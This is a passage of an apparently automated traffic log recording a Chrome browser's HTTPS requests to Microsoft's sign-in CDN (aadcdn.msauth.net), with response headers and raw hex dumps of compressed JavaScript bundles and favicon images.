a9 04 61 e2 39 ac 62 07 2e d5 e6 c3 47 10 b3 ca 22 70 59 54 79 79 f4 9c c7 ca 85 e7 44 61 1c 4e 92 4a c4 1c Data Ascii: {8f.cwWlYU$Iw2dv%$1o?$%JSU{w}SH O2\T/g+F7^\x>30xF0Wfo~eJ(9I\8Bc/T+;J*gW:6oP o1a9b.G"pYTyyDaNJ
2024-05-07 18:32:10 UTC	16384	IN	Data Raw: 7c f6 d8 0b da 06 7d 73 c9 57 d2 6f 69 42 d9 ea f6 d6 79 26 ea 79 22 68 03 22 26 2e bd 7c c0 55 93 00 f2 d1 e9 78 95 dd 31 40 46 83 33 9d 90 a3 26 5a 0e 81 d6 64 7d 66 52 6d b5 fb 35 1d 3d d3 1f a3 30 c0 17 71 b7 42 55 f9 f0 2e ec 57 ba d7 02 1b c3 af 01 7f 7c 9e 1c d9 53 8a 8f df df 25 6d d5 cb ef cd 54 7f b4 46 58 77 8a 0d 30 ce 53 3a ac cd 3a 45 ef 88 f9 c3 17 24 9b 69 7f f9 ef bf 5c 30 94 99 50 96 7a 38 1f c1 37 8f 16 c6 5c 6b 29 c2 54 f1 37 82 21 67 ce 9f 21 e5 07 19 08 89 11 a4 84 fe 80 f9 69 f8 81 ec 59 03 51 a5 7c c1 34 0f 26 12 0b 4d 53 40 0b ce 8c b0 0b 97 61 82 41 f2 48 d7 a2 10 52 f4 f3 ea f7 63 d3 c0 bb ec 8f 18 69 03 1f d5 e5 f1 c8 a4 4d 41 86 0d c1 98 1b 59 e0 10 92 1a 2f 60 cf 1d f8 9e 1d 53 c8 ad d9 18 fd ea f9 63 0a f2 f9 dc d2 64 51 cb Data Ascii: \|}sWoiBy&y"h"&.\|Ux1@F3&Zd}fRm5=0qBU.W\|S%mTFXw 0S::E$i\0Pz87\k)T7!g!iYQ\|4&MS@aAHRciMA Y/`Sc dQ
2024-05-07 18:32:10 UTC	16384	IN	Data Raw: 0e 30 9d 95 1c aa 27 81 0a fa 22 a9 ef 10 39 b6 ea f7 ba 78 e9 27 a5 a8 2f e1 ca 4b 2c 52 1f ec 29 3c 5b de f0 97 57 5e 6e 9c 43 11 12 71 84 0f 64 ba 9d 44 a3 b6 a3 7e ed 32 57 8e bc 86 72 78 6c 78 7c 00 ae 7d 19 0b 14 ec 2a 1e 43 db 79 ae 84 f3 04 f1 be 52 15 0a 11 6a 93 49 57 e7 e8 f9 7c 6d 6d 0d 7d 9f 4b 24 07 55 43 90 ed 87 13 05 f4 a3 1a aa 7a 5c 41 66 88 cd 1d 95 51 93 d4 46 72 fa 21 7b 05 85 12 92 ec 52 5e 5e 07 8c 98 7c 46 c1 19 fc 93 5f 01 9a 43 41 8a a4 57 58 1d 95 fc 03 0b ee 00 e9 49 c9 13 b1 bc 27 14 76 02 f1 f0 0c 65 57 da fd 0e 20 3c 90 84 0a 0f 31 3b 7e ed 71 ab 80 e0 c0 5f ed 75 bd 98 d8 15 5d 12 e4 b6 a1 40 14 05 9d 49 fd 88 dd 85 79 19 0a 04 c8 91 c9 5c 93 6d 7d 51 d3 c9 40 cd 82 06 e5 f6 82 c2 de 58 2e e6 05 35 77 81 65 2e a4 c9 36 a3 Data Ascii: 0' "9x'/K,R)<[W^nCqdD~2Wrxlx\|}*CyR jIW\|mm }K$UCz\AfQFr!{R^^\|F_CAWXI'veW < 1;~q_u]@Iy \m}Q@X.5we.6
2024-05-07 18:32:10 UTC	16384	IN	Data Raw: 00 92 42 5e b0 27 00 c0 a8 8f 33 f3 b9 46 e5 48 8a df a7 d1 28 ce ef b7 59 7b 15 f6 31 1a dd 45 f7 99 83 c6 9a 78 28 01 07 61 0e f9 76 f8 a0 55 a6 da 2d bf 97 a6 48 8d c2 2f 3e 32 f0 83 d1 c1 76 8b ec 1a 29 c0 3c 2d 3c dd ac 13 ba 59 71 bf 62 8e 48 f2 df 41 14 4a 43 cc 51 5f b9 c3 b9 e9 87 39 ff da a3 23 46 3f 87 3d b6 f1 fc b1 c7 40 eb 38 d8 67 85 52 47 7a c7 75 b8 5c e6 55 b3 f0 0c e2 cb bb 97 b1 2c 63 20 cb 8e 88 18 88 fb 26 ef df 04 ad 72 0c ca 90 74 d8 63 44 08 79 1b ae 1c 8c 1a 9c 57 0c b8 a9 66 a1 bc f7 c0 1c d5 0c f5 fc e4 54 d4 d4 24 68 2b 0d 66 64 b1 b9 55 1d 61 2a 58 5a 6b 93 b1 f5 3a fe f6 a8 b5 13 73 36 c4 93 e4 81 fb 77 9e 7f 17 fc ce 1f 52 0e 72 17 3e fc 6e 03 71 11 9c 86 0f d2 fe ed ec 1c c3 8b 67 fd b0 35 f3 33 75 f8 e6 28 c3 92 84 26 0f Data Ascii: B^'3FH(Y{1Ex(avU-H/>2v)<-<YqbHAJCQ_9#F?=@8gRGzu\U,c &rtcDyWfT$h+ fdUa*XZk:s6wRr>nqg53u(&
2024-05-07 18:32:10 UTC	16384	IN	Data Raw: 48 bb 63 29 bd 5d 43 e8 c0 d7 f7 e7 c2 2e 82 24 5f f7 61 8d 51 98 1c 2a fb f1 37 aa 98 c3 d6 42 a7 e7 44 01 55 1e a3 96 a6 d9 72 39 54 0d 67 cc 16 11 72 61 47 6e a9 f7 2f 34 8e 75 83 41 62 fe 4c a1 1b b5 f1 de 35 ac 51 06 49 01 d4 ac 22 f3 46 4a 85 08 9c 04 61 b0 3e 60 c4 e9 e4 65 29 69 78 e3 d3 f0 cc 1d ac ad 85 92 c8 0f a6 81 82 84 d8 ec 8c ee 65 80 59 cc 95 d1 35 20 91 46 f4 f6 f7 79 1f 87 12 64 1c 3e 5c 89 c3 96 eb 5c 5d a7 0a b0 82 16 ca 06 16 0d 2a 65 5e 7e 91 ac 21 69 91 b8 6a 8c 1e b7 61 98 1d 2b e2 0f 03 41 b1 47 fd 35 11 ca b9 fa 19 7e 21 5e 82 f6 c4 c4 44 fb d0 79 ac fb ec 5d 07 17 cf 27 0f 0f 1b 1e 7d 6a ed 62 6d 63 a0 7b 98 bd 0c 26 6c f6 c0 8d 28 28 bc 99 08 b5 00 12 06 38 c7 d4 21 91 7a ed 1a 7c e0 dc 59 f7 b2 e7 1b 74 06 bd 0c c6 83 9c de Data Ascii: Hc)]C.$_aQ7BDUr9T graGn/4uAbL5QI"FJa>`e)ixeY5 Fyd>\\] e^~!ija+AG5~!^Dy]'}jbmc{&l((8!z\|Yt
2024-05-07 18:32:10 UTC	16384	IN	Data Raw: 93 31 84 d6 5e 44 a1 63 27 69 14 fb 81 67 5b 9c 59 1e 74 93 18 98 9e b9 e8 4c 88 38 e5 ce 2d f7 09 56 bb 31 a8 67 47 7e 28 a1 a4 08 11 42 f4 a6 d0 64 45 26 2d c7 cd 20 3f 32 3f e2 fb e9 2c f1 6c a8 7a b1 2b 20 ce a1 1e bb c0 6d 30 41 c1 84 e5 06 2c 8c dd fd ac 93 d1 8c 2c 3f cc 84 15 c5 11 94 14 c7 4e 25 73 45 ec 64 ae 6d 39 0e f7 60 19 ec a7 b3 c4 86 58 70 53 a8 12 21 17 e0 e0 96 60 0c 96 80 1f 90 ca 02 3d f9 76 db 2c ab dd 18 cd 28 8e 61 8f ba 30 61 22 e1 c5 cc 75 04 8f 25 97 ae 95 05 01 09 c9 fd d0 93 97 58 a0 d1 88 a5 99 8f 35 b1 7c 08 26 87 b3 d8 f3 48 7b 0e 20 d8 f7 33 75 46 33 4a 7d 90 4f 26 bd c8 02 1b 77 43 cb f6 22 9b 61 36 c1 62 85 65 39 7b e1 e4 8e 9f 38 8e 80 cc cb c8 2c b4 ad 18 92 dc 61 c2 f6 ec 08 f2 3d f2 c2 38 dc 4b 37 46 33 8a 85 1f 46 Data Ascii: 1^Dc'ig[YtL8- V1gG~(BdE&- ?2?,lz+ m0A,,?N%sEdm9`XpS!`=v,(a0a"u% X5\|&H{ 3uF3J}O&wC"a6be9{8,a=8K7F3F
2024-05-07 18:32:10 UTC	16384	IN	Data Raw: 80 12 39 ac 8e fc 51 95 e4 a1 19 63 b0 b1 d8 6f be 7f f0 35 20 ce 8b 33 ba 25 28 2f d9 79 9a 9f 5e b6 d1 e5 fa b6 15 35 72 20 5a ad fc 49 f6 08 a6 05 5f d7 c5 cd cb 8d c6 d2 6f 14 93 fc ef b9 e3 f5 dd 7b 06 46 47 97 ed 7d 41 27 c1 f4 3d 23 4e 46 bd 7c 61 4c fe 42 5a e5 ef 16 cc 72 bb 45 05 39 ec ca 85 a0 e5 7c fd 3c 68 87 e0 68 66 da af ac 9c 66 54 34 be 2d 27 70 9b dd 73 1b 7d 74 7f fc ec da 3a ea e7 eb bf 50 a9 99 d7 2c a3 ce 12 5f 7c ff 45 c8 f2 ed a2 b8 38 29 8b a7 bf 4a 7e b9 58 f1 0a ad 7f fe 7c 3b 3a 63 f3 a6 66 f4 d7 2f c4 ff bf 08 75 9b c6 6f 47 d7 06 ec 2f 4d d1 5f 15 7e 36 cb 56 77 9e 6c 6c ab fa fe 47 c4 88 93 0b 29 45 7a 79 7e b1 77 71 de c2 9c d2 74 f3 15 ca f3 3f 3c de ed 51 42 fe c7 6b b5 c3 21 9b 3f 80 0d fb 1b 44 fe 7c 15 66 ca ab 7c 2a Data Ascii: 9Qco5 3%(/y^5r ZI_o{FG}A'=#NF\|aLBZrE9\|<hhffT4-'ps}t:P,_\|E8)J~X \|;:cf/uoG/M_~6VwllG)Ezy~wqt?<QBk!? D\|f\|*
2024-05-07 18:32:10 UTC	7396	IN	Data Raw: 6a d8 fb ea 97 76 82 fd 25 b9 eb 0f fe 96 42 eb 5f 81 e8 f7 ff ae d1 b3 98 e3 60 ff 70 70 c4 be a5 28 87 cd ca 5b e8 9d 16 a1 2c aa b9 03 ee 44 c4 e1 e0 69 8a fa 78 78 0c 03 da bf df e0 16 d7 4b 3c 70 df 27 5a 58 1a 94 76 5d e2 a0 c1 fe 25 d1 e6 7e 14 ec cf 88 96 52 f6 b5 7f 43 34 9f f3 a8 fd 8f 50 bf ca b8 f6 df 01 fa ab 5c 6b ff 14 ea 5f d3 95 78 e8 ce e7 68 ba da 8f b5 90 09 4f f9 93 ec ee 29 c2 7e d9 8b fa 03 8c 63 cc 87 dc 63 83 8d fb fd 01 6c 80 71 2f 8b 35 37 ee df e5 33 9e c9 83 c7 71 02 f5 ec fc 06 b3 43 50 78 86 75 b0 40 a6 80 33 00 13 46 a6 b5 a7 98 e9 ea 2b 87 6e 7f 47 d7 50 22 a0 59 16 c8 e0 3d ff 0a 1b 35 f2 1e fe f4 45 fe e3 f6 96 0c 38 b2 5e c1 66 7d bd f8 3b b9 b9 2b 20 73 63 ee 41 c1 a1 a2 40 21 5c 34 f8 6d 3f fd 1c 65 fe 65 8f ff 1c e0 Data Ascii: jv%B_`pp([,DixxK<p'ZXv]%~RC4P\k_xh O)~cclq/573qCPxu@3F+nGP"Y= 5E8^f};+ scA@!\4m?ee

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49848	13.107.213.40	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:10 UTC	654	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_il6fx5t9s506cdxfu3ywpg2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.microsoftonline.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:32:10 UTC	818	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:32:10 GMT Content-Type: application/x-javascript Content-Length: 15839 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Mon, 22 Apr 2024 13:28:03 GMT ETag: 0x8DC62D009AE6ED1 x-ms-request-id: 367c4cce-901e-000f-2d49-a06c81000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183210Z-1587864896bwwgqtv4749xkpx400000000r000000000cawg x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 18:32:10 UTC	15566	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 dd 7d 4d 73 23 47 b2 d8 dd bf 02 8b 75 68 86 4f 3d 10 3e f8 89 11 34 06 01 70 06 4f 24 00 01 e0 50 0a 49 46 34 81 22 d8 4b a0 1b af bb 31 1c 2e 35 8e bd f9 f0 0e be da 37 1f 7c f2 d1 17 df fd 53 36 e2 f9 77 38 3f aa aa ab ba 1b 00 39 d2 d3 ee b3 42 c1 41 77 55 65 65 65 65 65 65 66 65 65 ff e1 66 ed 4f 63 2f f0 5f 8a bd 47 f5 bb 10 bc f4 f7 1e bd 9b 97 de 8f fe cf 7b a1 88 d7 a1 5f c0 df 25 f1 71 15 84 71 f4 fa 83 1b 16 e2 06 be 6a 3c ca 77 f5 c7 4f 8e 37 ab fb ce 22 70 67 62 56 ff 43 e5 d3 6b d9 54 60 d3 a9 bb 58 bc 8c 15 04 27 76 92 df c1 1e 3c 70 b3 c6 1f ca 49 c1 27 ec c6 6b 3c 6a 40 41 69 d9 10 4e 50 9a 36 3c f8 bb 6a 14 8b 4e f0 b2 bc f7 e9 e5 8f c9 30 9c c0 f1 00 f9 97 d5 3d c2 d2 6f 78 2f 2b 00 1f fe 39 d8 73 42 f8 e7 Data Ascii: }Ms#GuhO=>4pO$P IF4"K1.57\|S6w8?9BAwUeeeeeefeefOc/_G{_%qqj<wO7"pgbVCkT`X'v<pI'k<j@AiNP6<jN0=ox/+9sB
2024-05-07 18:32:10 UTC	273	IN	Data Raw: dc 43 a1 91 48 be d1 1d cc ea 05 68 3f cd 85 e7 46 64 33 2c af d1 f5 c1 d1 20 ea fe 5f ee 6b 09 85 d2 f9 d4 6b e9 3b 55 74 27 2e b7 1d 68 4f 07 1b 0a ae c4 62 0a bb 10 83 a4 fd 44 fa 43 d9 0c 88 3d 11 31 1b 82 09 44 72 99 6c 23 fa 55 71 d0 a4 52 92 81 b6 1e fc 94 dd 23 94 a3 84 c7 fb b4 b4 12 c9 79 00 fb c2 14 68 d2 f9 40 67 ce 30 ff f4 6b a2 44 1f 5f 51 55 3c 81 52 6b 12 f8 e7 81 8b 77 86 40 43 cd ab ac ec 23 bb 32 3a b8 48 c3 03 61 e4 c7 4f e8 04 33 e2 b1 72 00 66 8c d8 7f 56 5b 6d 1d 50 b6 37 bc fd bc b3 f7 14 d6 d6 6d 53 04 80 97 d9 d5 f5 a1 f7 20 18 45 a6 fd 9c 7b ef 46 14 84 a5 2d f9 ca 3e 6a f2 5b 5a 5a b8 27 f7 7d f7 77 76 69 35 e4 d9 94 b6 3c b6 ad ec 40 d7 18 6e 32 ce fd 72 75 e7 38 8d 86 a9 4e ab cf e9 f4 db 8b 51 97 1b 55 3f 7d fa 79 cf e1 cc Data Ascii: CHh?Fd3, _k k;Ut'.hO b DC=1 Drl#UqR#yh@g0kD_QU<Rkw@C#2:HaO3rfV[mP7mS E{F->j[ZZ'}wvi5<@n2ru8NQU?}y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49851	13.107.213.40	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:11 UTC	649	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:32:11 UTC	744	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:32:11 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: ace16283-b01e-000d-20fa-9d3a85000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183211Z-1587864896bctg2x68gxxath0000000004x000000000cuu6 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 18:32:11 UTC	15640	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH (00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-05-07 18:32:11 UTC	1534	IN	Data Raw: 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49852	13.107.213.40	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:11 UTC	618	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_8e14dcf0e3ff5580d170.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:32:11 UTC	818	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:32:11 GMT Content-Type: application/x-javascript Content-Length: 54318 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 28 Mar 2024 21:22:21 GMT ETag: 0x8DC4F6D2782F92A x-ms-request-id: 61f0cd22-801e-002a-1ab4-9f7ab8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183211Z-1587864896bvkq78mvpgsddtm80000000170000000009z2z x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 18:32:11 UTC	15566	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ec bd 6b 7b db 46 92 30 fa 7d 7f 05 85 67 46 06 4c 90 22 a9 8b 65 52 10 c7 76 92 79 bd 4f 12 fb d8 ce bc 67 8f cc c9 03 81 a0 84 98 02 b8 b8 d8 d6 88 dc df 7e aa aa ef 40 83 92 af c9 66 3c bb b1 88 46 a3 2f d5 dd d5 75 af bd fb 3b ff d1 b9 df e9 dd fd 7f 9d 97 af 1e bd 78 d5 79 f6 43 e7 d5 ff 79 fa e2 bb ce 73 78 fa af ce cf cf 5e 3d 7d f2 fd dd db c1 4e f1 bf 57 97 49 d1 59 24 cb b8 03 7f cf c3 22 9e 77 b2 b4 93 e5 9d 24 8d b2 7c 95 e5 61 19 17 9d 2b f8 37 4f c2 65 67 91 67 57 9d f2 32 ee ac f2 ec b7 38 2a 8b ce 32 29 4a f8 e8 3c 5e 66 ef 3a 2e 34 97 cf 3b cf c3 bc bc ee 3c 7d ee f5 a1 fd 18 5a 4b 2e 92 14 be 8e b2 d5 35 fc be 2c 3b 69 56 26 51 dc 09 d3 39 b5 b6 84 87 b4 88 3b 55 3a 8f f3 ce bb cb 24 ba ec fc 94 44 79 56 64 Data Ascii: k{F0}gFL"eRvyOg~@f<F/u;xyCysx^=}NWIY$"w$\|a+7OeggW28*2)J<^f:.4;<}ZK.5,;iV&Q 9;U:$DyVd
2024-05-07 18:32:11 UTC	16384	IN	Data Raw: 84 be 9c 55 3e dd ee f1 db af d2 5f 8f f5 77 de dc 88 1f e4 95 05 4d 84 8d fd f5 21 1e 6b 84 f3 ea a9 30 85 40 d4 f4 35 13 66 96 42 33 ac 63 90 d2 34 a8 34 5c 17 c8 31 ad 89 10 98 41 cf 1d ac 27 d3 16 eb 49 66 37 39 36 6a e6 1e 9a 39 8b 9a ac 07 55 9d 9e 95 6c 10 cf 4d f8 ce 9a 65 85 4c 97 13 1d d1 d7 ac 98 f1 db 2c 33 f6 66 8b a1 ac dd 18 96 b0 03 f7 a4 33 16 ef 33 ba d0 e1 7e 36 8c c6 5b 84 cd f4 a5 66 55 60 f1 38 11 17 bf cd 37 83 48 03 66 fb 1c 93 12 8c 3b 60 a0 2e 6c 0a d4 f8 10 d5 61 43 6f 9c 6b 0e 18 cc 3d ca 17 ea c4 8d 3e d6 c7 d7 4d 8a 7f bb 0f cc 76 33 7d ab 07 4c 5e 9f b5 dd 19 21 6f 75 02 c8 95 94 19 30 30 89 65 0d ea b3 da 42 ba ef 6f 27 dd ef 4a d5 a2 3f 0c 31 19 44 cc 6e 67 32 b8 e5 b4 b9 d7 1b c4 5b dd 06 d2 9c 52 b2 65 4a 07 8d 29 19 87 Data Ascii: U>_wM!k0@5fB3c44\1A'If796j9UlMeL,3f33~6[fU`87Hf;`.l aCok=>Mv3}L^!ou00e Bo'J?1Dng2[ReJ)
2024-05-07 18:32:11 UTC	16384	IN	Data Raw: 6d 1c 7e 0b 1d ee f4 05 45 5a 39 a3 01 4a aa 9d cc 68 1a 14 38 a8 b9 03 12 11 9b c5 ab 6d 58 97 46 d1 83 47 47 b4 f2 e8 b8 8e 72 f4 df 6f 92 0c db 87 b9 bc 0c 54 6e 6b 6c 47 1c 71 b0 25 2e 6c 37 a9 4a 69 c3 5e 6d cb fc a6 7c 51 dc bf ac 75 a5 00 11 76 ef 72 90 d7 94 63 f9 fa 1d 1f e5 ee aa bc ba 30 92 8c 6b 0b 5a a4 a5 25 83 97 92 df fb 94 d4 99 2b d8 52 77 37 16 f3 a9 42 71 73 fe d6 ab e8 e7 1b 86 ee 6f 31 5e d2 a5 67 85 28 07 32 44 cc 29 4d cc 57 d9 17 e5 eb f0 92 ca a5 a7 ed 84 34 ba 8e df 7b 05 9d bb c0 85 9c bf 63 f1 b9 a3 6f 7e 8d 16 9e 06 64 e9 95 78 65 83 2c bd 12 4f 75 69 d3 7a ef 95 2f 4e 9a d3 11 94 69 7f 3d 28 93 6b 24 67 fc c6 fe 7d 90 fd 7f 17 db eb ba 99 80 e2 76 7b 6b ad 6d 93 2f b7 b6 fd 02 3b 5b 6a 4b 83 a9 ad 6a 8d 63 71 4b 99 7f b9 d1 Data Ascii: m~EZ9Jh8mXFGGroTnklGq%.l7Ji^m\|Quvrc0kZ%+Rw7Bqso1^g(2D)MW4{co~dxe,Ouiz/Ni=(k$g}v{km/;[jKjcqK
2024-05-07 18:32:11 UTC	5984	IN	Data Raw: 16 35 5f 5e 03 de eb 7e 57 6f 5d 03 e4 bb fe bd 31 61 61 7d 92 1c fc c6 80 78 52 70 a9 01 29 54 61 64 80 49 1d 85 a8 6b 7a be 30 70 47 23 6c 9e 34 af 86 b3 e9 c1 69 f1 e0 2f 1b 1a 76 0b 7d 16 b1 94 b7 fd c0 87 37 f0 7a 67 87 2d d1 c8 d2 0a bf e0 2e a0 06 b1 fb 67 56 7f 71 45 67 3b 0e 93 65 cc 23 17 d8 a0 b4 94 ec b9 5a 3a 66 45 f2 2a ab 76 1a cd ce 97 26 fc f3 4b 5e db 0d d6 56 21 2f 68 68 18 50 5a 54 7a e7 a7 02 d7 79 4f db 0b e8 bd 80 a7 a5 92 2c 73 bd 3f bc 7f f9 2c bb 9a 65 29 d9 fa ab 49 d1 a0 4d d2 1a be fa 85 53 fa 44 0f f9 b3 22 2e c3 79 39 e9 f4 8f 7a e7 51 11 1f 1e 08 7d 53 2c 16 2b 4b 56 b3 6a cc df 50 b7 e1 7d 7c f1 e2 d3 8c 44 03 af 71 2e 54 93 44 da 4f 69 27 a2 25 1b d7 d3 f2 2d 12 36 b8 4e d2 71 76 bd 0d 47 ec b9 b2 bd cd cc 84 ae 68 90 37 Data Ascii: 5_^~Wo]1aa}xRp)TadIkz0pG#l4i/v}7zg- .gVqEg;e#Z:fE*v&K^ V!/hhPZTzyO,s?,e)IMSD".y9zQ}S,+KVjP}\|Dq.TDOi'%-6Nqv Gh7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49853	13.107.213.40	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:11 UTC	404	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:32:12 UTC	744	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:32:11 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: ccdc38e6-c01e-0002-6924-9cb39a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183211Z-17455988649h777mwsa8mshuc000000008y00000000026bu x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
